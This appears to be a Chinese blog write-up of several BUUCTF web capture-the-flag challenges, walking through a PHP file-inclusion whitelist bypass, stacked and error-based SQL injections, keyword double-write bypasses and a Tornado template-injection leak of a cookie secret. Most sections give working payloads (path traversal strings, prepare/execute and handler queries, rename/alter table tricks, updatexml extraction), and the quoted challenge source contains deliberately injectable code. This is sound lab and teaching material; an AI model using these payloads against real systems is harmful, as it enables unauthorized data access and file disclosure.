BUUCTF Web刷题之旅(持续更新.....)

[HCTF 2018]WarmUp

查看网页源代码发现一个source.php,打开发现源代码:


    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }w

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

先看一下最后的if判断:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; }

逻辑很清楚:$file变量不为空,$file变量的的值字符串,类中的checkFile()函数返回true。
所以关键在于checkfile函数怎么绕过,审一下checkfile函数:

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

发现这个作了三次的if判断:
第一次$page变量的值在白名单里。
第二次通过mb_strpos()函数截取了$page变量问号前面的值,判断这个值是不是在白名单里。
第三次将$page变量url解码一下再次判断$page变量问号前面的值是不是在白名单里。
看到这逻辑就很清楚了,我们可以直接构造payload让$page变量的值问号前面的属于白名单。

回到题目在源码中发现还有个hint.php,打开发现flag处于的文件位置:
BUUCTF Web刷题之旅(持续更新.....)_第1张图片
payload如下:

file=source.php%253F/../../../../../../../../../../../ffffllllaaaagggg
file=hint.php%253F/../../../../../../../../../../../ffffllllaaaagggg
file=hint.php?/../../../../../../../../../../../ffffllllaaaagggg

上面的payload的都可以得到最后的flag。


[强网杯 2019]随便注

拿到题目随便测试一下,是单引号闭合并且#号没有被过滤。
BUUCTF Web刷题之旅(持续更新.....)_第2张图片
接着使用union联合查询试试,发现过滤代码段:
BUUCTF Web刷题之旅(持续更新.....)_第3张图片
在测试一下发现是可以时间盲注的:
BUUCTF Web刷题之旅(持续更新.....)_第4张图片
但是这个题正确的解法是通过堆叠注入获取flag。
show tables获取到当前数据库的表名
BUUCTF Web刷题之旅(持续更新.....)_第5张图片
看见一个数字为名的字段,但是select被过滤了,我们可以使用show来查看,但是show是不能查看字段里的内容的。

show columns from`1919810931114514`;

BUUCTF Web刷题之旅(持续更新.....)_第6张图片
可以看到里面有个flag列名,这里面应该存有flag,现在的关键在于怎么把flag列的内容查看出来。
我们有三种思路:
第一种:使用set…prepare…execute…语句。
payload:

sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");
PRepare+hello+from+@a;
execute+hello;

三条语句结合在一块就可以得到flag。

第二种:使用handler代替select查询
payload:

handler`1919810931114514`open+as+da4er;handler+da4er+read+first;Handler+da4er+close;

第三种:就是通过rename,alter语句改表和列的名:
这里先看一下words里面有什么可显字段
BUUCTF Web刷题之旅(持续更新.....)_第7张图片
发现id和data是可显的列名,那么我们思路就用了让words改成别的名,再让含有flag字段的列改成words,在把flag字段内容和id或者data列名互换即可。
payload:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

上面三种都可以得到最后的flag。


[GYCTF2020]Blacklist

看一个和上面相似的题,通过测试发现过滤如下图的关键字:
BUUCTF Web刷题之旅(持续更新.....)_第8张图片
发现alter,rename,set被过滤了,但是我们还是可以使用handler来替换select。
payload如下:

1';handler FlagHere open as da4er; handler da4er read first; handle da4er close; --+

得到flag:
BUUCTF Web刷题之旅(持续更新.....)_第9张图片

[护网杯 2018]easy_tornado

把每个文件打开得到一些hint:
/fllllllllllllag
render
md5(cookie_secret+md5(filename))

在观察一些url,思路很明确了,需要构造如下payload:

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filname))

所以解本题的关键在于如何找到cookie_secret。
测试发现一个error页面,存在ssti漏洞,加上render想到了python中的模板注入,
通过handler.settings也获取RequestHandler.application.settings对象。
所以直接在error页面构造payload:

msg={{handler.settings}}

在这里插入图片描述
得到cookie,然后构造hash得到flag。

filename=/fllllllllllllag&filehash=dbba1ea3d23c0e15ba89dd8281b4ebe3

在这里插入图片描述


[SUCTF 2019]EasySQL

拿到题目fuzz了一波发现过滤很多关键字。
BUUCTF Web刷题之旅(持续更新.....)_第10张图片
然后测试了发现有三种回显:空,nonono,array。
到这就没思路了,233333… 看wp~
发现有预期解和预期解,百度到题目源码:


    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>



    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

发现可以堆叠注入,sql语句的代码为:

$sql = "select ".$post['query']."||flag from Flag";

将post传入的值和flag from Flag的值作或运算。这里的预期解是将||设置成连接符而不是或运算,payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

ql_mode为PIPES_AS_CONCAT后可改变’||'的含义为连接字符串
经过本地测试发现还真的是这样,涨姿势了23333…
BUUCTF Web刷题之旅(持续更新.....)_第11张图片
BUUCTF Web刷题之旅(持续更新.....)_第12张图片
非预期解是使用*,*号表示将表中的内容全部查询,payload:

*,1

BUUCTF Web刷题之旅(持续更新.....)_第13张图片

[极客大挑战 2019]EasySQL

非常简单sql注入,没有任何过滤,直接使用union查询语句即可。只判断列有多少就可以出flag,23333…
BUUCTF Web刷题之旅(持续更新.....)_第14张图片

[极客大挑战 2019]BabySQL

发现过滤一些sql关键字,但是可以双写绕过23333…
payload:

username=1' oorrder bbyy 3 -- -

username=1' ununionion seselectlect 1,2,3 -- -

username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoOrrmation_schema.tables whwhereere table_schema=database() -- -

ununionion seselectlect 1,2,group_concat(column_name) frfromom infoOrrmation_schema.columns whwhereere table_name='b4bsql' -- -

ununionion seselectlect 1,2,group_concat(concat_ws(':',username,password)) frfromom b4bsql -- -

BUUCTF Web刷题之旅(持续更新.....)_第15张图片

[极客大挑战 2019]HardSQL

这个sql注入还是有点难的,fuzz一下发现过滤很多关键字,而且过滤空格。
发现有错误提示,想到用报错注入试试,结果是可以的,用括号替换空格即可。

admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)#

上面的语句可以找到flag,但是uodatexml只能显示32的长度,看了网上的wp,我们可以使用left和right截断,分别从字段的左边和右边查看,最后在拼接起来。

'^updatexml(1,concat(0x7e,(select(right(password,31))from(H4rDsq1)),0x7e),1)%23
'^updatexml(1,concat(0x7e,(select(left(password,31))from(H4rDsq1)),0x7e),1)%23

你可能感兴趣的:(CTF)